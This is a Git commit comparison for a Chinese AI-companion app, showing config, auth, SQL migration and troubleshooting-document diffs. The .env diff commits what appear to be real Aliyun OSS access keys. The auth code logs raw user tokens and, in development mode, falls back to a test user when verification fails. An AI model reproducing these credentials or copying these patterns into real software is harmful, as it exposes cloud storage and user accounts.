Compare commits

...

10 Commits

Author SHA1 Message Date
xiao12feng8
155c9f824c 功能:清理成功 2026-02-04 19:26:08 +08:00
xiao12feng8
ca35528640 功能:邀请功能成功 2026-02-04 18:58:05 +08:00
xiao12feng8
1c4dea0a34 功能:礼物、服装、音乐库完善 2026-02-04 18:47:56 +08:00
xiao12feng8
8613e1560b 功能:邀请有问题 2026-02-03 18:00:47 +08:00
xiao12feng8
57053f08ab 样式:tab栏切换 2026-02-03 17:38:49 +08:00
xiao12feng8
21c75461b4 样式:Tab栏美化并将接口接齐 2026-02-03 17:13:56 +08:00
xiao12feng8
d7ec1d530a 功能:唱歌跳舞视频正常并且能够重新下载处理 2026-02-03 14:47:24 +08:00
xiao12feng8
57a846b2a1 问题:php不会使用项目卡顿 2026-02-02 20:08:28 +08:00
xiao12feng8
1f3f3b9240 样式:将tab栏切换改好(未完成,样式不合格) 2026-02-01 18:33:45 +08:00
xiao12feng8
92386f4597 测试:将ip地址都改为192.168.1.164 2026-02-01 17:46:31 +08:00
369 changed files with 9709 additions and 1946901 deletions

18
.env
View File

@ -7,11 +7,11 @@ DEBUG=True
BACKEND_URL=http://127.0.0.1:8000
# ===== 数据库配置 =====
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/fastadmin?charset=utf8mb4
# ===== 用户信息接口 (PHP后端) =====
# 开发环境暂时使用本地地址,PHP后端配置好后再修改
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
# PHP 后端地址,用于用户认证
USER_INFO_API=http://127.0.0.1:30100/api/user_basic/get_user_basic
# ===== AI 配置 =====
# 阿里云 DashScope API 密钥
@ -58,9 +58,9 @@ VOICE_CALL_REQUIRE_PTT=true
# === 唱歌视频合成配置 ===
SING_MERGE_MAX_CONCURRENCY=2
# ===== OSS 配置 (暂时留空) =====
ALIYUN_OSS_ACCESS_KEY_ID=
ALIYUN_OSS_ACCESS_KEY_SECRET=
ALIYUN_OSS_BUCKET_NAME=
ALIYUN_OSS_ENDPOINT=
ALIYUN_OSS_CDN_DOMAIN=
# ===== OSS 配置 =====
ALIYUN_OSS_ACCESS_KEY_ID=LTAI5tBzjogJDx4JzRYoDyEM
ALIYUN_OSS_ACCESS_KEY_SECRET=43euicRkkzlLjGTYzFYkTupcW7N5w3
ALIYUN_OSS_BUCKET_NAME=hello12312312
ALIYUN_OSS_ENDPOINT=https://oss-cn-hangzhou.aliyuncs.com
ALIYUN_OSS_CDN_DOMAIN=https://hello12312312.oss-cn-hangzhou.aliyuncs.com

58
.gitignore vendored
View File

@ -1 +1,59 @@
归档/
xunifriend_RaeeC/runtime/log/
public/
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# Node.js
node_modules/
npm-debug.log*
yarn-debug.log*
yarn-error.log*
package-lock.json
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# OS
.DS_Store
Thumbs.db
# Runtime
xunifriend_RaeeC/runtime/
xunifriend_RaeeC/public/uploads/
# Temporary files
*.tmp
*.bak
*.zip
*.tar
*.tar.gz
*.tar.xz
# Environment
.env.local
.env.*.local

View File

@ -0,0 +1,199 @@
# PHP 服务连接问题解决方案
## 问题描述
Python 后端无法连接到 PHP 服务,报错:
```
HTTPConnectionPool(host='192.168.1.164', port=30100): Read timed out
```
## 已完成的修复
### 1. 配置修正
- ✅ 修改 `lover/deps.py`:移除硬编码 IP从配置读取
- ✅ 修改 `lover/config.py`:默认地址改为 `127.0.0.1:30100`
- ✅ 修改 `.env`:端口从 `8080` 改为 `30100`
- ✅ 减少超时时间:从 5 秒改为 3 秒
- ✅ 改进错误处理:区分超时和连接错误
### 2. 启动脚本优化
- ✅ 使用 `router.php` 而不是 `-t .`
- ✅ 添加端口清理逻辑,自动终止占用端口的旧进程
- ✅ 添加等待时间,确保服务完全启动
### 3. 测试工具
创建了 `xunifriend_RaeeC/public/test_api.php` 用于测试:
- `/test_api.php` - 测试 PHP 服务器基本响应
- `/test_db` - 测试数据库连接
## 当前问题分析
### PHP 服务器状态
```
端口 30100 已被监听(进程 31592, 16636
但是请求超时,无法获得响应
```
### 可能的原因
1. **数据库连接问题**
- PHP 应用可能在启动时尝试连接数据库
- 如果数据库连接失败或慢,会导致请求超时
- 检查 `xunifriend_RaeeC/application/database.php` 配置
2. **PHP 内置服务器限制**
- PHP 内置服务器是单线程的
- 如果有请求阻塞,后续请求会超时
- 建议使用 Apache 或 Nginx + PHP-FPM
3. **应用初始化问题**
- ThinkPHP 框架初始化可能有问题
- 检查 `xunifriend_RaeeC/application/admin/command/Install/install.lock` 是否存在
4. **路由配置问题**
- API 路由可能未正确配置
- 检查 `xunifriend_RaeeC/application/route.php`
## 解决步骤
### 步骤 1: 测试 PHP 服务器基本功能
```cmd
# 在浏览器或命令行测试
curl http://127.0.0.1:30100/test_api.php
```
预期响应:
```json
{
"code": 1,
"msg": "PHP 服务器运行正常",
"time": 1738665600,
"data": {
"php_version": "8.0.0",
"server_time": "2026-02-04 19:00:00"
}
}
```
### 步骤 2: 测试数据库连接
```cmd
curl http://127.0.0.1:30100/test_db
```
如果数据库连接失败,检查:
- MySQL 是否运行
- `xunifriend_RaeeC/application/database.php` 配置是否正确
- 数据库用户名密码是否正确
### 步骤 3: 测试实际 API
```cmd
# 使用有效的 token 测试
curl -H "token: YOUR_TOKEN_HERE" http://127.0.0.1:30100/api/user_basic/get_user_basic
```
### 步骤 4: 检查 PHP 错误日志
PHP 内置服务器的错误会显示在启动窗口中,查看是否有:
- 数据库连接错误
- 文件权限错误
- PHP 语法错误
- 缺少扩展
## 临时解决方案
### 方案 1: 使用开发环境兜底(已实现)
Python 后端在开发环境下,如果 PHP 连接失败,会自动使用测试用户:
```python
# 在 lover/deps.py 中
if settings.APP_ENV == "development" and settings.DEBUG:
logger.warning(f"开发环境token 验证失败({e.detail}),使用测试用户")
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
```
### 方案 2: 直接使用数据库认证
修改 Python 后端,不依赖 PHP API直接查询数据库
```python
# 在 lover/deps.py 中添加
def _fetch_user_from_db(token: str) -> Optional[dict]:
"""直接从数据库获取用户信息"""
from lover.db import get_db
db = next(get_db())
user = db.execute(
"SELECT * FROM fa_user WHERE token = :token",
{"token": token}
).fetchone()
return dict(user) if user else None
```
### 方案 3: 重启 PHP 服务
```cmd
# 使用更新后的启动脚本,会自动清理旧进程
启动项目.bat
```
## 长期解决方案
### 推荐:使用 Nginx + PHP-FPM
PHP 内置服务器不适合生产环境,建议:
1. 安装 Nginx
2. 配置 PHP-FPM
3. 配置 Nginx 反向代理
配置示例:
```nginx
server {
listen 30100;
server_name localhost;
root C:/Users/Administrator/Desktop/Project/AI_GirlFriend/xunifriend_RaeeC/public;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
```
## 调试命令
### 查看端口占用
```cmd
netstat -ano | findstr :30100
```
### 终止进程
```cmd
taskkill /F /PID <进程ID>
```
### 测试 PHP 配置
```cmd
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -v
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -m # 查看已安装的扩展
```
### 手动启动 PHP 服务器(用于调试)
```cmd
cd xunifriend_RaeeC\public
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -S 0.0.0.0:30100 router.php
```
## 下一步行动
1. **立即测试**:运行 `curl http://127.0.0.1:30100/test_api.php`
2. **检查数据库**:确认 MySQL 正在运行
3. **查看日志**:检查 PHP 启动窗口的错误信息
4. **重启服务**:使用更新后的 `启动项目.bat`
## 文件修改记录
- `lover/deps.py` - 改进错误处理和超时设置
- `lover/config.py` - 修正默认地址
- `.env` - 修正端口配置
- `启动项目.bat` - 添加端口清理和 router.php
- `xunifriend_RaeeC/public/test_api.php` - 新增测试脚本

View File

@ -1,2 +1,2 @@
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
USER_INFO_API=http://192.168.1.164:30100/api/user_basic/get_user_basic

Binary file not shown.

View File

@ -150,7 +150,7 @@ class Settings(BaseSettings):
# 用户信息拉取接口FastAdmin 提供)
USER_INFO_API: str = Field(
default="https://xunifriend.shandonghuixing.com/api/user_basic/get_user_basic",
default="http://127.0.0.1:30100/api/user_basic/get_user_basic",
env="USER_INFO_API",
)

View File

@ -31,12 +31,18 @@ def get_db():
yield db
db.commit()
except OperationalError as exc:
import logging
logger = logging.getLogger("db")
logger.error(f"Database OperationalError: {exc}", exc_info=True)
db.rollback()
raise HTTPException(
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
detail="Database unavailable, please check DATABASE_URL / MySQL service.",
detail=f"Database unavailable: {str(exc)}",
) from exc
except Exception:
except Exception as exc:
import logging
logger = logging.getLogger("db")
logger.error(f"Database Exception: {exc}", exc_info=True)
db.rollback()
raise
finally:

View File

@ -17,30 +17,62 @@ class AuthedUser(BaseModel):
def _fetch_user_from_php(token: str) -> Optional[dict]:
"""通过 PHP/FastAdmin 接口获取用户信息。"""
import logging
logger = logging.getLogger(__name__)
# 从配置读取 PHP 服务地址,如果配置不可用则使用本地地址
try:
from lover.config import settings
user_info_api = settings.USER_INFO_API
except:
# 默认使用本地地址
user_info_api = "http://127.0.0.1:30100/api/user_basic/get_user_basic"
logger.info(f"用户中心调试 - 调用接口: {user_info_api}")
logger.info(f"用户中心调试 - token: {token}")
try:
resp = requests.get(
settings.USER_INFO_API,
user_info_api,
headers={"token": token},
timeout=5,
timeout=3, # 减少超时时间到3秒
)
except Exception as exc: # 网络/超时
logger.info(f"用户中心调试 - 响应状态码: {resp.status_code}")
logger.info(f"用户中心调试 - 响应内容: {resp.text[:200]}...")
except requests.exceptions.Timeout:
logger.error(f"用户中心调试 - 请求超时3秒")
raise HTTPException(
status_code=status.HTTP_502_BAD_GATEWAY,
detail="用户中心接口超时",
)
except requests.exceptions.ConnectionError as exc:
logger.error(f"用户中心调试 - 连接失败: {exc}")
raise HTTPException(
status_code=status.HTTP_502_BAD_GATEWAY,
detail="无法连接到用户中心",
)
except Exception as exc: # 其他异常
logger.error(f"用户中心调试 - 请求异常: {exc}")
raise HTTPException(
status_code=status.HTTP_502_BAD_GATEWAY,
detail="用户中心接口不可用",
) from exc
if resp.status_code != 200:
logger.error(f"用户中心调试 - 状态码非200: {resp.status_code}")
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="用户中心返回非 200",
)
data = resp.json()
logger.info(f"用户中心调试 - 解析JSON成功: {data}")
# 兼容常见 FastAdmin 响应结构
if isinstance(data, dict):
payload = data.get("data") or data.get("user") or data
else:
payload = None
if not payload:
logger.error(f"用户中心调试 - 未找到用户数据: {data}")
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="用户中心未返回用户信息",
@ -110,7 +142,7 @@ def get_current_user(
# 如果是开发环境token 验证失败时也返回测试用户
if settings.APP_ENV == "development" and settings.DEBUG:
logger.warning(f"开发环境token 验证失败({e.detail}),使用测试用户")
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
raise
# 调试兜底:仅凭 X-User-Id 不校验 PHP方便联调
@ -119,6 +151,6 @@ def get_current_user(
# 开发环境兜底:如果没有任何认证信息,返回默认测试用户
if settings.APP_ENV == "development" and settings.DEBUG:
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="用户不存在或未授权")

View File

@ -5,24 +5,48 @@ from fastapi.staticfiles import StaticFiles
import logging
import dashscope
from pathlib import Path
from contextlib import asynccontextmanager
from .routers import config as config_router
from .routers import lover as lover_router
from .response import ApiResponse
from .routers import outfit as outfit_router
from .routers import chat as chat_router
from .routers import voice_call as voice_call_router
from .routers import dance as dance_router
from .routers import dynamic as dynamic_router
from .routers import sing as sing_router
from .task_queue import start_sing_workers
from .config import settings
from lover.routers import config as config_router
from lover.routers import lover as lover_router
from lover.routers import user_basic as user_basic_router
from lover.response import ApiResponse
from lover.routers import outfit as outfit_router
from lover.routers import chat as chat_router
from lover.routers import voice_call as voice_call_router
from lover.routers import dance as dance_router
from lover.routers import dynamic as dynamic_router
from lover.routers import sing as sing_router
from lover.routers import friend as friend_router
from lover.routers import msg as msg_router
from lover.routers import huanxin as huanxin_router
from lover.routers import user as user_router
from lover.routers import music_library as music_library_router
from lover.task_queue import start_sing_workers
from lover.config import settings
# 初始化 DashScope API Key
if settings.DASHSCOPE_API_KEY:
dashscope.api_key = settings.DASHSCOPE_API_KEY
app = FastAPI(title="LOVER API")
# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
@asynccontextmanager
async def lifespan(app: FastAPI):
# 启动时执行
logger = logging.getLogger("main")
logger.info("应用启动中...")
start_sing_workers()
logger.info("应用启动完成")
yield
# 关闭时执行
logger.info("应用关闭")
app = FastAPI(title="LOVER API", lifespan=lifespan)
# 创建 TTS 文件目录
tts_dir = Path("public/tts")
@ -48,17 +72,18 @@ app.add_middleware(
app.include_router(config_router.router)
app.include_router(lover_router.router)
app.include_router(user_basic_router.router)
app.include_router(outfit_router.router)
app.include_router(chat_router.router)
app.include_router(voice_call_router.router)
app.include_router(dance_router.router)
app.include_router(dynamic_router.router)
app.include_router(sing_router.router)
@app.on_event("startup")
async def startup_tasks():
start_sing_workers()
app.include_router(friend_router.router)
app.include_router(msg_router.router)
app.include_router(huanxin_router.router)
app.include_router(user_router.router)
app.include_router(music_library_router.router)
@app.exception_handler(HTTPException)

View File

@ -1,18 +0,0 @@
-- 添加邀请码相关字段
ALTER TABLE nf_user
ADD COLUMN invite_code VARCHAR(10) UNIQUE COMMENT '我的邀请码',
ADD COLUMN invited_by VARCHAR(10) COMMENT '被谁邀请(邀请码)',
ADD COLUMN invite_count INT DEFAULT 0 COMMENT '邀请人数',
ADD COLUMN invite_reward_total DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
-- 为已有用户生成邀请码6位随机字符
UPDATE nf_user
SET invite_code = CONCAT(
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1)
)
WHERE invite_code IS NULL;

View File

@ -0,0 +1,33 @@
-- 添加邀请码相关字段到 nf_user 表
-- 执行时间2026-02-03
USE fastadmin;
-- 添加邀请码字段
ALTER TABLE `nf_user`
ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码' AFTER `vip_endtime`,
ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)' AFTER `invite_code`,
ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数' AFTER `invited_by`,
ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额' AFTER `invite_count`;
-- 添加唯一索引
ALTER TABLE `nf_user`
ADD UNIQUE INDEX `idx_invite_code` (`invite_code`);
-- 添加普通索引
ALTER TABLE `nf_user`
ADD INDEX `idx_invited_by` (`invited_by`);
-- 验证字段是否添加成功
SELECT
COLUMN_NAME,
COLUMN_TYPE,
IS_NULLABLE,
COLUMN_DEFAULT,
COLUMN_COMMENT
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total');

View File

@ -1,8 +0,0 @@
-- 添加消息编辑相关字段
ALTER TABLE nf_chat_message
ADD COLUMN is_edited TINYINT(1) DEFAULT 0 COMMENT '是否被编辑过',
ADD COLUMN original_content TEXT COMMENT '原始内容',
ADD COLUMN edited_at DATETIME COMMENT '编辑时间';
-- 添加索引
CREATE INDEX idx_message_edited ON nf_chat_message(is_edited, session_id);

View File

@ -0,0 +1,20 @@
-- 检查 nf_user 表中邀请码相关字段的情况
USE fastadmin;
-- 查看表结构
DESCRIBE nf_user;
-- 查看邀请码相关字段
SELECT
COLUMN_NAME,
COLUMN_TYPE,
IS_NULLABLE,
COLUMN_DEFAULT,
COLUMN_COMMENT
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
ORDER BY ORDINAL_POSITION;

View File

@ -0,0 +1,107 @@
-- 邀请码功能完整修复脚本
-- 执行时间2026-02-03
-- 说明:这个脚本会检查并修复所有邀请码相关的问题
USE fastadmin;
-- ========================================
-- 第 1 步:修复字段类型
-- ========================================
-- 修复 invited_by 字段类型(从 int 改为 varchar(10)
ALTER TABLE `nf_user`
MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2)
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
-- 确保 invite_code 字段正确
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
-- 确保 invite_count 字段正确
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
SELECT '✅ 步骤 1字段类型修复完成' AS '进度';
-- ========================================
-- 第 2 步:检查并添加索引
-- ========================================
-- 检查 invite_code 唯一索引
SET @index_exists = 0;
SELECT COUNT(*) INTO @index_exists
FROM INFORMATION_SCHEMA.STATISTICS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME = 'idx_invite_code';
SET @sql = IF(@index_exists = 0,
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
'SELECT ''idx_invite_code 索引已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查 invited_by 索引
SET @index_exists = 0;
SELECT COUNT(*) INTO @index_exists
FROM INFORMATION_SCHEMA.STATISTICS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME = 'idx_invited_by';
SET @sql = IF(@index_exists = 0,
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
'SELECT ''idx_invited_by 索引已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
SELECT '✅ 步骤 2索引检查完成' AS '进度';
-- ========================================
-- 第 3 步:验证修复结果
-- ========================================
SELECT '========================================' AS '';
SELECT '邀请码字段信息' AS '';
SELECT '========================================' AS '';
SELECT
COLUMN_NAME AS '字段名',
COLUMN_TYPE AS '类型',
IS_NULLABLE AS '可空',
COLUMN_DEFAULT AS '默认值',
COLUMN_COMMENT AS '注释'
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
ORDER BY ORDINAL_POSITION;
SELECT '========================================' AS '';
SELECT '索引信息' AS '';
SELECT '========================================' AS '';
SELECT
INDEX_NAME AS '索引名',
COLUMN_NAME AS '列名',
NON_UNIQUE AS '非唯一',
INDEX_TYPE AS '索引类型'
FROM
INFORMATION_SCHEMA.STATISTICS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
SELECT '========================================' AS '';
SELECT '✅ 邀请码功能修复完成!' AS '状态';
SELECT '请重启 Python 服务以使更改生效' AS '提示';
SELECT '========================================' AS '';

View File

@ -0,0 +1,56 @@
-- 修复邀请码字段类型错误
-- 执行时间2026-02-03
-- 问题invited_by 和 invite_reward_total 字段类型不正确
USE fastadmin;
-- 备份当前数据(可选,但建议)
-- CREATE TABLE nf_user_backup_20260203 AS SELECT * FROM nf_user;
-- 修复 invited_by 字段类型(从 int 改为 varchar(10)
ALTER TABLE `nf_user`
MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2)
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
-- 确保 invite_code 字段有注释
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
-- 确保 invite_count 字段有注释
ALTER TABLE `nf_user`
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
-- 验证修复结果
SELECT
COLUMN_NAME AS '字段名',
COLUMN_TYPE AS '类型',
IS_NULLABLE AS '可空',
COLUMN_DEFAULT AS '默认值',
COLUMN_COMMENT AS '注释'
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
ORDER BY ORDINAL_POSITION;
-- 显示修复后的索引信息
SELECT
INDEX_NAME AS '索引名',
COLUMN_NAME AS '列名',
NON_UNIQUE AS '非唯一',
INDEX_TYPE AS '索引类型'
FROM
INFORMATION_SCHEMA.STATISTICS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
-- 显示成功消息
SELECT '✅ 邀请码字段类型修复完成!' AS '状态';

View File

@ -0,0 +1,123 @@
-- 修复邀请码功能 - 检查并添加缺失的字段和索引
-- 执行时间2026-02-03
USE fastadmin;
-- 检查并添加 invite_code 字段(如果不存在)
SET @col_exists = 0;
SELECT COUNT(*) INTO @col_exists
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME = 'invite_code';
SET @sql = IF(@col_exists = 0,
'ALTER TABLE `nf_user` ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT ''邀请码'' AFTER `vip_endtime`',
'SELECT ''invite_code 字段已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查并添加 invited_by 字段(如果不存在)
SET @col_exists = 0;
SELECT COUNT(*) INTO @col_exists
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME = 'invited_by';
SET @sql = IF(@col_exists = 0,
'ALTER TABLE `nf_user` ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT ''被谁邀请(邀请码)'' AFTER `invite_code`',
'SELECT ''invited_by 字段已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查并添加 invite_count 字段(如果不存在)
SET @col_exists = 0;
SELECT COUNT(*) INTO @col_exists
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME = 'invite_count';
SET @sql = IF(@col_exists = 0,
'ALTER TABLE `nf_user` ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT ''邀请人数'' AFTER `invited_by`',
'SELECT ''invite_count 字段已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查并添加 invite_reward_total 字段(如果不存在)
SET @col_exists = 0;
SELECT COUNT(*) INTO @col_exists
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME = 'invite_reward_total';
SET @sql = IF(@col_exists = 0,
'ALTER TABLE `nf_user` ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT ''邀请奖励总额'' AFTER `invite_count`',
'SELECT ''invite_reward_total 字段已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查并添加 invite_code 唯一索引(如果不存在)
SET @index_exists = 0;
SELECT COUNT(*) INTO @index_exists
FROM INFORMATION_SCHEMA.STATISTICS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME = 'idx_invite_code';
SET @sql = IF(@index_exists = 0,
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
'SELECT ''idx_invite_code 索引已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 检查并添加 invited_by 索引(如果不存在)
SET @index_exists = 0;
SELECT COUNT(*) INTO @index_exists
FROM INFORMATION_SCHEMA.STATISTICS
WHERE TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME = 'idx_invited_by';
SET @sql = IF(@index_exists = 0,
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
'SELECT ''idx_invited_by 索引已存在'' AS message');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
-- 显示最终的字段信息
SELECT
COLUMN_NAME AS '字段名',
COLUMN_TYPE AS '类型',
IS_NULLABLE AS '可空',
COLUMN_DEFAULT AS '默认值',
COLUMN_COMMENT AS '注释'
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
ORDER BY ORDINAL_POSITION;
-- 显示索引信息
SELECT
INDEX_NAME AS '索引名',
COLUMN_NAME AS '列名',
NON_UNIQUE AS '非唯一',
INDEX_TYPE AS '索引类型'
FROM
INFORMATION_SCHEMA.STATISTICS
WHERE
TABLE_SCHEMA = 'fastadmin'
AND TABLE_NAME = 'nf_user'
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
ORDER BY INDEX_NAME, SEQ_IN_INDEX;

View File

@ -0,0 +1,73 @@
-- 测试邀请码功能
-- 执行时间2026-02-03
USE fastadmin;
-- 1. 查看当前用户的邀请码信息
SELECT
id,
username,
nickname,
invite_code AS '邀请码',
invited_by AS '被谁邀请',
invite_count AS '邀请人数',
invite_reward_total AS '邀请奖励',
money AS '金币余额'
FROM nf_user
WHERE id IN (
SELECT id FROM nf_user
ORDER BY id DESC
LIMIT 10
)
ORDER BY id DESC;
-- 2. 查看有邀请码的用户
SELECT
id,
username,
nickname,
invite_code AS '邀请码',
invite_count AS '邀请人数',
invite_reward_total AS '邀请奖励',
money AS '金币余额'
FROM nf_user
WHERE invite_code IS NOT NULL
ORDER BY invite_count DESC, id DESC
LIMIT 20;
-- 3. 查看使用了邀请码的用户
SELECT
id,
username,
nickname,
invited_by AS '使用的邀请码',
money AS '金币余额',
createtime AS '注册时间'
FROM nf_user
WHERE invited_by IS NOT NULL
ORDER BY id DESC
LIMIT 20;
-- 4. 查看邀请相关的金币日志
SELECT
l.id,
l.user_id AS '用户ID',
u.username AS '用户名',
l.money AS '金币变动',
l.before AS '变动前',
l.after AS '变动后',
l.memo AS '备注',
FROM_UNIXTIME(l.createtime) AS '时间'
FROM nf_user_money_log l
LEFT JOIN nf_user u ON l.user_id = u.id
WHERE l.memo LIKE '%邀请%'
ORDER BY l.createtime DESC
LIMIT 20;
-- 5. 统计邀请数据
SELECT
COUNT(DISTINCT CASE WHEN invite_code IS NOT NULL THEN id END) AS '有邀请码的用户数',
COUNT(DISTINCT CASE WHEN invited_by IS NOT NULL THEN id END) AS '使用邀请码的用户数',
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_count ELSE 0 END) AS '总邀请人数',
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_reward_total ELSE 0 END) AS '总邀请奖励'
FROM nf_user;

View File

@ -26,6 +26,7 @@ class User(Base):
chat_used_today = Column(Integer, default=0)
chat_reset_date = Column(Date)
video_gen_remaining = Column(Integer, default=0)
video_gen_reset_date = Column(Date)
inner_voice_enabled = Column(Boolean, default=False)
